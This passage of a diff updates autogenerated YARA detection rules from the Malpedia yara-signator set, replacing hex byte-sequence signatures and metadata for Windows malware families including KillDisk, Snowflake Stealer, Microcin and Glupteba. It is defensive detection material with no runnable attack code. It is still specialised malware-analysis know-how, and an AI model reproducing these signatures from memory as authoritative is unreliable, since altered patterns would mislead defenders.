"0969f03b284985af7df0ddb5d516ceb371a29a3573bcea4b892c82226c445838" + logic_hash = "e24e1751ade86b382e488f87af3eb86584ff682352dde27167e20cbed17a20c8" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -114997,38 +114903,46 @@ rule MALPEDIA_Win_Younglotus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6802000080 e8???????? 83c41c 6a01 } - $sequence_1 = { c745e800000000 c745fc00000000 837d0c03 754c 6a03 } - $sequence_2 = { 8945c8 68???????? 8b45c8 50 } - $sequence_3 = { 83c404 8b4de0 51 ff55dc } - $sequence_4 = { c745ec00000000 c745fc00000000 8b450c 50 8b4d08 51 8b55e8 } - $sequence_5 = { 50 8b8d9cfeffff 51 ff15???????? c785a0feffff00000000 } - $sequence_6 = { 8b8d5cfeffff 83c114 e8???????? c645fc01 8b8d5cfeffff 83c124 e8???????? } - $sequence_7 = { 8b4508 50 e8???????? 83c404 8945a0 837da000 } - $sequence_8 = { 53 56 57 68???????? ff15???????? 8945dc 68???????? } - $sequence_9 = { 8b703c 03f0 813e50450000 0f85e8000000 } - $sequence_10 = { 83f802 7503 33c0 c3 6a01 58 } - $sequence_11 = { e8???????? 83c41c 8d85e8feffff 6804010000 53 50 } - $sequence_12 = { 33f6 8975fc 397508 68ff010000 56 56 } - $sequence_13 = { 85c0 8945f4 7e49 6a04 53 50 } - $sequence_14 = { ff750c ff7508 50 e8???????? 8d430f 83c40c } - $sequence_15 = { bf00040000 57 8d85e4fbffff 53 50 e8???????? } + $sequence_0 = { 56 897d14 e8???????? 83c40c 8d4514 } + $sequence_1 = { 8b4514 56 881c30 ff15???????? } + $sequence_2 = { 40 50 6a01 ff15???????? 83c40c } + $sequence_3 = { 90 0145fc ff75fc ff15???????? } + $sequence_4 = { 53 6a05 ff7508 ff15???????? } + $sequence_5 = { 3bf7 740f ebda 33f6 } + $sequence_6 = { 50 8b4518 03c6 57 } + $sequence_7 = { ebda 33f6 c745fcf8ffffff 3bf7 750c 895dfc } + $sequence_8 = { 40 49 8975fc 75ec 8bc6 5e } + $sequence_9 = { 81c900ffffff 41 85c9 7e1c 55 } + $sequence_10 = { 33c0 81c418020000 c21000 8b84241c020000 6a00 6a00 6801020000 } + $sequence_11 = { 50 ff15???????? 33c0 81c418020000 } + $sequence_12 = { 7cf1 ffd3 8b35???????? 2bc7 3de8030000 760f } + $sequence_13 = { 8844341c 46 3bf1 7cf1 } + $sequence_14 = { c145fc05 8b75fc 33d2 8a10 03f2 40 } + $sequence_15 = { 6804010000 ff15???????? 8b4c2412 8b54240e 8b44240c } + $sequence_16 = { 648b1530000000 8b520c 8b521c 8b5a08 } + $sequence_17 = { eb02 8bfa 8955f4 897df0 } + $sequence_18 = { 8dbd00ffffff 33db 891f 0fb602 42 } + $sequence_19 = { 85c0 750f 6800800000 6a00 ff75f8 ff5648 eb0d } + $sequence_20 = { d3e0 f7c200000004 7403 80cc02 } + $sequence_21 = { 75f1 5e 8b4624 03c3 668b1450 } + $sequence_22 = { 8b562c c7048a00000000 8b7df0 8b07 } + $sequence_23 = { 8b4510 40 c1c803 ab 3bef } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 8224768 } -rule MALPEDIA_Win_Govrat_Auto : FILE +rule MALPEDIA_Win_Lazarus_Killdisk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0c1f568e-0870-502d-8ab7-d2bc8e9569e8" + id = "51d8d349-628d-5955-8390-6050e3d90319" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.govrat_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazarus_killdisk_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "abfba34e1bd79612302779859a269397cc43e8444d7e6090aaef75a3d69df6b1" + logic_hash = "0f1cb10726a24b0f5193b1d9b38bf0914806bbc39c92530769ca658a86bfb258" score = 75 quality = 75 tags = "FILE" @@ -115042,32 +114956,32 @@ rule MALPEDIA_Win_Govrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4dc4 e8???????? 8b00 50 8d4708 895f10 895f14 } - $sequence_1 = { 897804 8b7904 8930 8b31 0facfe01 d1ef 83780400 } - $sequence_2 = { 59 03f1 8dbc24b8000000 33c0 f3a7 7418 } - $sequence_3 = { ff15???????? 83a65401000000 c3 53 55 56 8d6f44 } - $sequence_4 = { ff15???????? 83a65401000000 c3 53 55 } - $sequence_5 = { 6a00 6a00 ff15???????? 8b4c2404 8901 85c0 7404 } - $sequence_6 = { 832d????????04 e9???????? 55 8bec 83ec14 a1???????? 53 } - $sequence_7 = { 7543 837d1000 0f845cfeffff 8b87a8000000 2b442420 8b8fac000000 1b4c2424 } - $sequence_8 = { 8d4df8 8d4518 e8???????? 8b45f8 0b45fc 750a 2145fc } - $sequence_9 = { 8945f8 8b4508 ff700c ff15???????? 8bf0 } + $sequence_0 = { 8d48e0 80f93f 7706 0fbec0 83c020 } + $sequence_1 = { 56 ffd7 4b 75ea 56 ff15???????? } + $sequence_2 = { 7438 8d55f0 52 68???????? } + $sequence_3 = { 57 8d4c242c 68???????? 51 e8???????? } + $sequence_4 = { 8d4402ff 0fa4c109 6a00 894df4 8d4df4 c1e009 } + $sequence_5 = { 6a00 8d85e0fdffff 50 6800020000 } + $sequence_6 = { 6a00 6800000002 ffd3 8bf0 83feff } + $sequence_7 = { eb08 8d5de8 e8???????? 8b85e4fdffff 40 83c610 8985e4fdffff } + $sequence_8 = { 8d75a6 8b06 8b4e08 8b560c 8945e8 } + $sequence_9 = { ffd7 85c0 7424 68???????? 8d95e4feffff 52 } condition: - 7 of them and filesize < 761856 + 7 of them and filesize < 209920 } -rule MALPEDIA_Win_Vyveva_Auto : FILE +rule MALPEDIA_Win_Snowflake_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c28bdd95-7642-5880-a40e-4b358402045a" + id = "f7453706-1ba2-5bd7-a0a7-c5c6de296895" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vyveva_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snowflake_stealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "96e07d213688d1c1087554cfee92b5503a65dfc0259352cd96965149acc4d781" + logic_hash = "c1c0789100e95962556dcffebd1be08f13443b80c1f6c738a94979e3119de2a7" score = 75 quality = 75 tags = "FILE" @@ -115081,34 +114995,34 @@ rule MALPEDIA_Win_Vyveva_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7404 ff7604 59 3b7108 7506 50 8f4108 } - $sequence_1 = { 8b442428 3b4c2438 740c 3b4c2438 7406 33c9 034c2438 } - $sequence_2 = { 83ec04 33ed 8d6c2c74 83ed74 c74424fcffffffff 83ec04 68???????? } - $sequence_3 = { e8???????? 8b4c242c 8b442428 8d54243c 894c2440 6a08 52 } - $sequence_4 = { 037e3c 8d4c0f38 83e938 50 5f 51 52 } - $sequence_5 = { 51 5d 59 55 59 6a01 } - $sequence_6 = { 8b8c2434020000 8d54240c 894c240c 6a04 52 56 59 } - $sequence_7 = { 8365f000 8365f400 8365f800 8365fc00 c745f0900c0110 } - $sequence_8 = { 33c0 0306 395814 0f854b010000 8b4c2410 55 8f4614 } - $sequence_9 = { 741c 56 8b742414 ff36 59 41 51 } + $sequence_0 = { ff750c 6a5c 53 e8???????? 8b6c2448 56 ff7504 } + $sequence_1 = { ff742428 e8???????? 83c414 eb88 3dab000000 7530 837c243400 } + $sequence_2 = { ff3408 ff742444 e8???????? 8b7c2440 83c414 89442410 85c0 } + $sequence_3 = { e8???????? 59 59 8b4c243c 85c9 7409 51 } + $sequence_4 = { ff7640 e8???????? 83c42c 85c0 7533 6a08 8d442418 } + $sequence_5 = { ff742444 ff742440 50 e8???????? 8bf0 83c414 85f6 } + $sequence_6 = { c744240c01000000 eb08 3c2b 0f8593000000 46 8a0e 0fb6c1 } + $sequence_7 = { e8???????? 59 59 85c0 7507 8b4510 2138 } + $sequence_8 = { c744240800000000 29f1 89c6 1b7c2414 f7de c1fe1f 01f1 } + $sequence_9 = { ff743234 ff7524 ff742428 53 e8???????? 8b542428 83c414 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 6196224 } -rule MALPEDIA_Win_Screencap_Auto : FILE +rule MALPEDIA_Win_Microcin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "379c64a1-3968-5838-b405-32978ebeeb34" + id = "dddf9fba-fce1-5368-9223-75a8c16c13ed" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.screencap_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.microcin_auto.yar#L1-L452" license_url = "N/A" - logic_hash = "2175ebdcdf09489a5c3e9d1a0443dafe26fb70adb28f0b3b4f8cf2a642f56129" + logic_hash = "ab06ef293989aa12cd44a7f8f720c88cb322c4fba8d50dd4025a69de4fec24e0" score = 75 - quality = 75 + quality = 44 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -115120,32 +115034,72 @@ rule MALPEDIA_Win_Screencap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 750d 6800000080 6a06 ff15???????? } - $sequence_1 = { 488d0d1aba0000 e8???????? cc 488b4118 } - $sequence_2 = { 488d1557c90000 eb2b 488d153ec90000 eb22 } - $sequence_3 = { 488d156cd90000 488d8d90020000 4d8bc7 e8???????? 488d9580010000 488d4c2470 4533c9 } - $sequence_4 = { 48895c2408 57 4881ecb0000000 488d054cffffff 33db ba007f0000 33c9 } - $sequence_5 = { 4c8d442460 33d2 33c9 41d1e9 896c2428 4889742420 } - $sequence_6 = { eb4e 8d4306 39842420100000 7640 6a04 687c334700 55 } - $sequence_7 = { e9???????? 488d1554ca0000 e9???????? 498bd7 e9???????? 488d1570c60000 e9???????? } - $sequence_8 = { e9???????? 4c8bfb 4c8be3 488d055eeb0000 49c1fc05 4183e71f 4a8b0ce0 } - $sequence_9 = { 83c40c 8945a4 8975c8 897dcc 8975d0 8975d4 c645d800 } + $sequence_0 = { c7461401000000 4d8d8680000000 418900 4989b688000000 41c7868400000004000000 4533c9 } + $sequence_1 = { ff15???????? 488bcb 664489642438 488bf0 ff15???????? 0fb7cf } + $sequence_2 = { 897e04 5b 5f 5e 5d c20400 55 } + $sequence_3 = { 8d45ac 50 6801000080 ff15???????? } + $sequence_4 = { 85c0 7e18 80bc35a8feffff3a 741f 8d85a8feffff } + $sequence_5 = { ff15???????? 4863c8 c6840d8002000068 488d8d80020000 } + $sequence_6 = { 488b0d???????? ff15???????? 4885c0 742b 488b4018 } + $sequence_7 = { 4885c0 742b 488b4018 488b08 8b09 ff15???????? 488bf8 } + $sequence_8 = { 50 6805100000 68ffff0000 56 8b35???????? ffd6 } + $sequence_9 = { 8d85f8feffff 6804010000 50 ff15???????? 8d85f8feffff } + $sequence_10 = { ff15???????? 4863c8 807c0c5f5c 7413 488d4c2460 ff15???????? 4863c8 } + $sequence_11 = { ff15???????? 8b3d???????? 8d85e0feffff 50 } + $sequence_12 = { 33f6 50 ffd3 85c0 7e18 } + $sequence_13 = { 488b05???????? 4833c4 488985f0040000 4c8b3d???????? 4533c0 8bfa } + $sequence_14 = { 8b1d???????? 8d85a8feffff 50 ffd3 } + $sequence_15 = { 488b1d???????? 488903 48894308 488b0d???????? } + $sequence_16 = { 7647 498bcd e8???????? 4c8d05b7120100 41b903000000 488d4c45bc 488bc1 } + $sequence_17 = { 6828010000 8d85ccfeffff 6a00 50 } + $sequence_18 = { 488d0d950c0100 ff15???????? 4885c0 7419 } + $sequence_19 = { 7419 488d15730c0100 488bc8 ff15???????? } + $sequence_20 = { 7541 8b4df0 83c108 51 } + $sequence_21 = { 7370 696465726167656e 742e 657865 } + $sequence_22 = { 83ec08 894df8 c745fc00a40000 6a40 6800100000 } + $sequence_23 = { 53 53 56 43 } + $sequence_24 = { 498bd5 ff15???????? 418d7c24e7 85c0 752a 4c8d0502130100 8bd7 } + $sequence_25 = { 8b8c8d78feffff 890c90 ebc8 e9???????? 33c0 } + $sequence_26 = { c745f46d737664 c745ec5f6c6569 0fbe4dee 83c101 884dee c745f872742e64 } + $sequence_27 = { 8d8da0f4ffff e8???????? 8b8574dfffff 5e 8be5 } + $sequence_28 = { 8b4dfc 83c108 51 ff15???????? 8b4dfc } + $sequence_29 = { 4883ec20 8bd9 488d0d950c0100 ff15???????? } + $sequence_30 = { 8b4508 0fb608 81e107000080 7905 49 83c9f8 41 } + $sequence_31 = { e8???????? 85c0 751a 488d15f8110100 } + $sequence_32 = { e8???????? cc 4c8d056c120100 498bd4 488bcd } + $sequence_33 = { 83c208 52 ff15???????? 6a06 ff15???????? ebcd 8be5 } + $sequence_34 = { 726f 6e 6d 656e 7400 } + $sequence_35 = { fa fa fa fa fa } + $sequence_36 = { 4c8d0574130100 488bcd 418bd4 e8???????? 33c9 85c0 } + $sequence_37 = { 636373 7673 6873742e65 7865 } + $sequence_38 = { 660fd645ec 660fd645f4 3d89000000 0f87b2010000 0fb68030184000 ff2485d8174000 68???????? } + $sequence_39 = { 63f6 48 89d9 6a08 41 58 4f } + $sequence_40 = { 50 56 c785a4fcffff24020000 ff15???????? 85c0 7431 } + $sequence_41 = { 8d85f0feffff 6a00 50 e8???????? 83c408 8d95f0feffff } + $sequence_42 = { 680000cf00 68???????? 8d842480000000 50 6a00 ff15???????? } + $sequence_43 = { 68???????? e8???????? 8b7508 c7465cf8814000 } + $sequence_44 = { c785b4feffff00000000 ff15???????? 50 56 ff15???????? 85c0 7e0f } + $sequence_45 = { e8???????? 3d1f047008 754e 49 8b4d08 49 8b5510 } + $sequence_46 = { 7523 56 8d44245c 50 } + $sequence_47 = { 40 ebf8 55 8bec 8b450c } + $sequence_48 = { 8b4060 6a40 6800100000 680c200000 6a00 8945f8 } + $sequence_49 = { 7521 4c 89e1 33d2 41 b800800000 41 } condition: - 7 of them and filesize < 1391616 + 7 of them and filesize < 417792 } -rule MALPEDIA_Win_Orchard_Auto : FILE +rule MALPEDIA_Win_Global_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5c398118-a219-5655-a01d-698db312ac7e" + id = "84b4cf5c-c55a-5774-ae7f-5489c60753fa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orchard_auto.yar#L1-L159" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.global" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.global_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "ef8c17e904478cac826167cfa0e1c29f054430dec351151f351e3917ccca81f2" + logic_hash = "09a9ad56bfef0ecdecd0c2b9ffb27931c564f59791efd5813a14ce69fded76ce" score = 75 quality = 75 tags = "FILE" @@ -115159,38 +115113,32 @@ rule MALPEDIA_Win_Orchard_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b49fc 83c223 2bc1 83c0fc 83f81f 0f877e030000 52 } - $sequence_1 = { 83c028 895de0 8b5de8 894348 } - $sequence_2 = { 8b75a8 46 56 e8???????? 8bf8 } - $sequence_3 = { 89542420 f7e1 8bc8 8954240c } - $sequence_4 = { 56 ff15???????? ff15???????? 50 6a00 } - $sequence_5 = { 8d442410 50 ff15???????? 6685c0 } - $sequence_6 = { 6a05 c70600000000 c7461000000000 c746140f000000 68???????? } - $sequence_7 = { f7f9 81c2d0070000 52 ffd6 } - $sequence_8 = { 0f877e030000 52 51 e8???????? 83c408 } - $sequence_9 = { 50 ff15???????? 83f805 7507 } - $sequence_10 = { c645fc08 e8???????? 894604 83c404 8d4718 897034 8d5804 } - $sequence_11 = { 83c404 e8???????? 99 b95b000000 f7f9 } - $sequence_12 = { 89542428 8b54240c 83d200 03c1 } - $sequence_13 = { e8???????? 894604 83c318 897730 } - $sequence_14 = { 8bc8 8bc7 8d9d48ffffff c645fc03 } - $sequence_15 = { 8bc8 8bc7 8d5c2460 c68424a800000001 e8???????? 50 } + $sequence_0 = { 8b44243c 8d1c2a 8d341f 03c6 89442468 } + $sequence_1 = { 899634100000 8b54be3c c1c80a c1ca17 33d0 8b8610100000 c1c808 } + $sequence_2 = { 807e1400 7507 8bce e8???????? 8b5e0c 8b7730 } + $sequence_3 = { 8bc2 c1e808 884306 884b03 885307 8b4d08 8bc1 } + $sequence_4 = { 23cb 23ce 03c9 c1f91f 23ca 8b54242c c1fa1f } + $sequence_5 = { 6a01 51 e8???????? 8b8c2430020000 8bc6 5f 5e } + $sequence_6 = { 7412 8b4c2434 ff7108 57 50 e8???????? 83c40c } + $sequence_7 = { 8b8e4c100000 899678100000 8b949e00080000 c1c816 c1ca09 33d0 } + $sequence_8 = { 8db8bc4d4300 57 ff15???????? ff0d???????? 83ef18 83ee01 75eb } + $sequence_9 = { e8???????? 8d85b80c0000 50 ff75ac ff75a8 e8???????? 83c418 } condition: - 7 of them and filesize < 4716352 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Scoring_Math_Tea_Auto : FILE +rule MALPEDIA_Win_Sasfis_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6a5f2479-dd77-5460-b6ab-7a1fa699026a" + id = "faa37fe5-b8ae-5b3d-8761-9ca44fa700a7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scoring_math_tea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scoring_math_tea_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sasfis_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "a12d9d501b7d3baa59a060b6fa56cd1bfb57e15b553bc88c44e1282cce7ff1d8" + logic_hash = "cf32d2a1a7d6bbcae913d88ae0d2c6c9327ff9b8dad43d2e492ba8c00cbedd6a" score = 75 quality = 75 tags = "FILE" @@ -115204,34 +115152,34 @@ rule MALPEDIA_Win_Scoring_Math_Tea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 448bfe 448be6 89742450 4889b42420010000 0f57c0 f30f7f842430010000 4533c0 } - $sequence_1 = { 66894dea 488d4de0 0fb700 668945ec 33c0 } - $sequence_2 = { 4889458c 33c0 894594 66894598 48b85700650064000000 4889459a 33c0 } - $sequence_3 = { 83ef01 7986 4885db 743d 488b45af 482bc3 48c1f802 } - $sequence_4 = { 83e00a eb09 33c0 eb05 b80a000000 488b5c2430 } - $sequence_5 = { e8???????? 90 488d4c2420 e8???????? 4889742420 4889742430 4889742438 } - $sequence_6 = { 49ffc6 4183c708 443b3a 72d7 8b02 } - $sequence_7 = { 410fb702 6643390413 7515 4983c202 4883ef01 75eb 4c8bc1 } - $sequence_8 = { e8???????? 458d41ff 41bfffff0000 8d7a02 4963c8 664139b44a18100000 7511 } - $sequence_9 = { 49ffc1 413801 7513 4883c108 49ffc1 8a01 413801 } + $sequence_0 = { 241c 2c05 006188 c526 3503007ca3 ef 2b30 } + $sequence_1 = { 0bb2ea7632d3 728b 896b90 35d0797819 d581 } + $sequence_2 = { 880c24 8d642450 e9???????? 60 } + $sequence_3 = { 8f44241c f9 66ffc7 0fbdfa 80fe07 87742418 660fbafe06 } + $sequence_4 = { 036e20 43 7465 47 } + $sequence_5 = { 2030 51 090a 4d 1321 } + $sequence_6 = { 66893c24 89442434 9c 660fbef8 9c 89542438 68d58c61ca } + $sequence_7 = { 660fbec2 660fb6c0 8b4500 e8???????? 661584f0 fec0 27 } + $sequence_8 = { 7aae 2931 55 3cf4 b729 0300 47 } + $sequence_9 = { 9c 8f442440 8d3cfd9c379c8f 66ffcf } condition: - 7 of them and filesize < 881664 + 7 of them and filesize < 8060928 } -rule MALPEDIA_Win_Redsalt_Auto : FILE +rule MALPEDIA_Win_Cuegoe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a92418fc-758f-521f-ba9d-200fd663af62" + id = "1c8a706e-da68-55ba-a4ca-eaa50b244652" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redsalt_auto.yar#L1-L221" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cuegoe_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "50c9943074c934238ab56a2e724604fcafa0395a42717f2167a9dcfc691be6fb" + logic_hash = "f45425f55dbbdbdba945f538455e47f9972b3b43f177d31d74ee7524c51ab351" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -115243,47 +115191,32 @@ rule MALPEDIA_Win_Redsalt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c414 33c9 83f8ff 0f95c1 } - $sequence_1 = { 750b 68e8030000 ff15???????? e8???????? } - $sequence_2 = { 51 ffd6 85c0 7510 } - $sequence_3 = { c745d060ea0000 6a04 8d45d0 50 6806100000 68ffff0000 } - $sequence_4 = { e8???????? 85c0 750a 6a32 } - $sequence_5 = { 85c0 7515 c705????????01000000 ff15???????? e9???????? } - $sequence_6 = { 740d 68???????? e8???????? 83c404 833d????????02 } - $sequence_7 = { 83c9ff 85f6 7c0e 83fe7f 7f09 } - $sequence_8 = { 6a00 52 c744242401000000 8944242c c744243002000000 } - $sequence_9 = { 7509 80780120 7503 83c002 } - $sequence_10 = { 83c40c eb02 33c0 8b4df4 } - $sequence_11 = { c60100 5f 5e 33c0 } - $sequence_12 = { 8d8530fcffff 50 e8???????? 83c40c } - $sequence_13 = { e8???????? 83c408 6800010000 68???????? } - $sequence_14 = { c6450000 5e 5d 8911 33c0 } - $sequence_15 = { f7e7 8bea d1ed 33c0 83ef03 8a06 } - $sequence_16 = { c1fa04 c0e302 0ad3 83c004 } - $sequence_17 = { 833800 750f c705????????01000000 e9???????? } - $sequence_18 = { c644243423 c644243572 c64424367a c644243700 } - $sequence_19 = { d2cc bbe3b46b7e 6aa2 dd45ff } - $sequence_20 = { de6c58ae c8201cdd f7be5b408d58 1b7f01 d2cc } - $sequence_21 = { e8???????? 89ff 152edf0800 488b5c2440 } - $sequence_22 = { e8???????? 89fa 4989d8 4889c1 e8???????? } - $sequence_23 = { e8???????? 89f8 eb26 f6411840 7406 } - $sequence_24 = { e8???????? 8b05???????? 0d80000000 8905???????? } + $sequence_0 = { 8985500c0000 8b432c 8b4b24 57 } + $sequence_1 = { 57 8db55c030000 e8???????? 53 57 8db59c030000 e8???????? } + $sequence_2 = { 8bff 8b4500 83780400 0f84961a0000 8b30 0fb636 8b551c } + $sequence_3 = { 894740 8b454c 894744 8b4550 894748 8b4554 89474c } + $sequence_4 = { 0f8554020000 57 83ec18 8bc4 89654c 53 50 } + $sequence_5 = { 8b149580cf0310 c1e006 8d440224 802080 884dfd 8065fd48 884dff } + $sequence_6 = { 894310 5e 5f c20400 6a04 } + $sequence_7 = { b8???????? e8???????? 8b7508 8365f000 c706???????? c746581c520310 } + $sequence_8 = { ff5004 0fb7c0 6a01 50 ff7528 8d758c ff7524 } + $sequence_9 = { 897dc4 50 c745fc02000000 e8???????? 33c0 c745c401000000 c745ec07000000 } condition: - 7 of them and filesize < 2957312 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Torisma_Auto : FILE +rule MALPEDIA_Win_Glupteba_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c0490c82-c45a-54e7-aa2a-3188c569a1ea" + id = "f0d5e7d7-1d32-5f42-920b-16ebe0ccac58" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.torisma_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glupteba_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "4aa02301b79ecba1924d78ea53a128f60820750cf7fd370e510af85a61be0b19" + logic_hash = "833c38370ca2666b80daaec86c0f2af9a38d0d465a2faa6f122cd9317cf83227" score = 75 quality = 75 tags = "FILE" @@ -115297,35 +115230,38 @@ rule MALPEDIA_Win_Torisma_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 3d83490000 7507 b883490000 } - $sequence_1 = { 7402 eb05 e9???????? b833280000 } - $sequence_2 = { e8???????? 3d514b0000 7504 33c0 } - $sequence_3 = { 8b3f c1ef02 83e701 c1e702 } - $sequence_4 = { 488b4c2440 e8???????? 488b442460 488b4018 48c70000000000 } - $sequence_5 = { 488b00 488b7820 33c0 b920000000 } - $sequence_6 = { 48894c2408 57 4883ec40 48c744242000000000 } - $sequence_7 = { ff2495c0d50010 8bc7 ba03000000 83e904 } - $sequence_8 = { 837c242000 7504 33c0 eb23 } - $sequence_9 = { 894dec 6a00 ff15???????? 8d55dc 52 } - $sequence_10 = { 51 8b5510 52 6a25 6a20 } - $sequence_11 = { 6a02 8b4da4 8b11 52 } - $sequence_12 = { c1e104 8b94242c010000 0bd1 8bca } + $sequence_0 = { 81e680800000 895de4 0bfe 8b75fc c1ee07 c1e709 } + $sequence_1 = { 742f 68???????? 50 c705????????04000000 ff15???????? 833d????????04 } + $sequence_2 = { 83c40c ff750c 66c745f00200 ff15???????? 668945f2 6a10 } + $sequence_3 = { ff15???????? 83c444 ff750c ff7508 e8???????? 8bf0 } + $sequence_4 = { 68???????? 57 895d0c ff15???????? } + $sequence_5 = { 8b4c2404 c1e802 d1e9 0ac1 8ac8 } + $sequence_6 = { 03c0 33c8 8bc1 3500630000 c1e808 33c1 } + $sequence_7 = { 895f04 894f08 83c710 837d0824 897d0c 7285 8bf9 } + $sequence_8 = { 005e3e 46 00ff 3e46 } + $sequence_9 = { 00cd 3e46 005e3e 46 } + $sequence_10 = { 0107 eb4d 8b02 89442418 } + $sequence_11 = { 00ff 3e46 0012 3f } + $sequence_12 = { 0101 03d3 8b4620 8bcb } + $sequence_13 = { 0106 830702 392e 75a0 } + $sequence_14 = { 00f1 3d46005e3e 46 00cd } + $sequence_15 = { 0012 3f 46 008bff558bec } condition: - 7 of them and filesize < 322560 + 7 of them and filesize < 1417216 } -rule MALPEDIA_Win_Amtsol_Auto : FILE +rule MALPEDIA_Win_Silentgh0St_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "10cd2a6a-97cd-5bbf-a2de-d51937233e16" + id = "291abef6-9e33-5a8d-8adc-76e9209f6497" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.amtsol_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silentgh0st" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silentgh0st_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "f41e59806427fb3074e56403dfc0119ba4416aa791cb2055a2846e43c19529c3" + logic_hash = "9a04c7809c217e9efeaf55825390ec7954a79ff3371a97034dc7cf6c87eca139" score = 75 quality = 75 tags = "FILE" @@ -115339,34 +115275,34 @@ rule MALPEDIA_Win_Amtsol_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bec 83ec20 53 56 8b7508 33db 3bf3 } - $sequence_1 = { 035e24 8945fc 8b45f8 8d9c1839d0d4d9 53 e8???????? 8b4df0 } - $sequence_2 = { 836d1010 